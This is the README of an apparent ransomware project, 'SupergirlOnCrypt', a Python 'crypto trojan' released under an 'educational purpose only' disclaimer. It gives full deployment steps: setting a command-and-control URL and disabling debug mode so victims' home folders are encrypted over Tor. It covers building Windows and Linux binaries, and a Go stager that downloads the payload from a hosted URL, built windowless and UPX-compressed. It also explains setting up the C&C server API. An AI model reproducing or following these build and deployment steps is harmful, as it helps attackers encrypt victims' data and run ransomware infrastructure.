SupergirlOnCrypt
SupergirlOnCrypt copied to clipboard
CryptoTrojan in Python (For educational purpose ONLY)
SupergirlOnCrypt :heart: :punch: :boom:
For EDUCATIONAL PURPOSE ONLY
This is a Crypto Trojan written in Python which can be packed using Pyinstaller... and i :heart: Supergirl so there you go.
To decrypt the Data the Victim has to answer some Questions about Supergirl! (No Payment required since it was just a fun Project)
Content
- Requirements
- Setup
- Building
Requirements
Both Windows AND Linux must have Python >= 3.5 installed to build the Executable/Binary.
Optionally you need the Golang compiler if you want to use the Go Stager because the Binary with Pyinstaller is quite large (~30mb - Windows and Linux) (Go Stager is only ~700kb).
Setup
We will generate the API´s public and private key in this process.
So if you first generate a binary for Linux as shown here then you have to copy the whole repository folder to the windows box and only choose to recreate the venv
.
The Trojan
- Change the API_URL in App/Config.py to your C&C Server URL
- Disable DEBUG_MODE (Leave it on if your API is running locally because otherwise Tor cant reach your local network)
- Optionally change your File Types
- Build Executables/Binary for Windows and/or Linux
- Setup API
Overview of DEBUG True vs False
Debug On | Debug Off |
---|---|
Creates a logfile | No logfile |
Does not user Tor | Uses Tor to communicate |
Encrypts Folder ./test_files |
Encrypts Users HomeFolder |
If you are Testing leave the DEBUG MODE ON OR USE A VM
Building
Linux
$ cd Scripts
$ ./supergirl.sh setup python3
$ ./supergirl.sh build
Now copy the whole folder to the Windows VM/Machine where you want to build the Windows Executable. When running the supergirl.ps1
ONLY recreate the venv
and NOT the Keys since they are already generated from our Linux Setup. *
*Optionally you can also clone the Repo to the Windows Machine and only replace API/bin/private.key
and App/res/server.public.key
This also applies vice versa
Windows
PS> cd Scripts
PS> .\supergirl.ps1 -mode setup -path C:\\...\\python.exe
PS> .\supergirl.ps1 -mode build
Building Stager
- Upload your Binary which you gathered from the previous step
- Go to
./Stagers/Go
and openmain.go
- Change line 34
var url string = "your-direct-download-url-here"
Building a Linux Stager
-
GOOS=linux go build -ldflags="-s -w" -o stager main.go
Building a Windows Stager
-
GOOS=windows GOARCH=386 go build -ldflags="-s -w -H=windowsgui" -o stager.exe main.go
-
Optionally compress the Stager(.exe) binary with upx
-
LINUX:
upx --ultra-brute -o compressed_stager stager
-
WINDOWS:
upx.exe --ultra-brute -o compressed_stager.exe stager.exe
-
Done
API
Since we communicate with our API we need to set it up. The API(located in ./API duhh) is written in PHP so any Linux /Win Server will do. On your Ubuntu C&C Server run:
$ sudo add-apt-repository ppa:ondrej/php
$ sudo apt update
$ sudo apt install apache2 php7.1 libapache2-mod-php7.1 php7.1-mbstring php7.1-sqlite3 php7.1-xml
$ sudo apt install composer unzip
Now copy the API Folder to your Server in the www root
$ cd /var/html
$ composer install
We need to install python to decrypt our keys if a user wants to decrypt
$ sudo apt install python3 python3-dev python3-pip
$ pip3 install cryptography
Your API should now be ready on http://ip/public (should respond with 501)
I wont show you how to setup a Tor hidden Service
Contributing
You can always open a Pull Request
OR
Disclaimer
FOR EDUCATIONAL PURPOSE ONLY I AM NOT RESPONSIBLE FOR ANYTHING
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2017 ThoughtfulDev
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.
I have no Idea if you understand this README.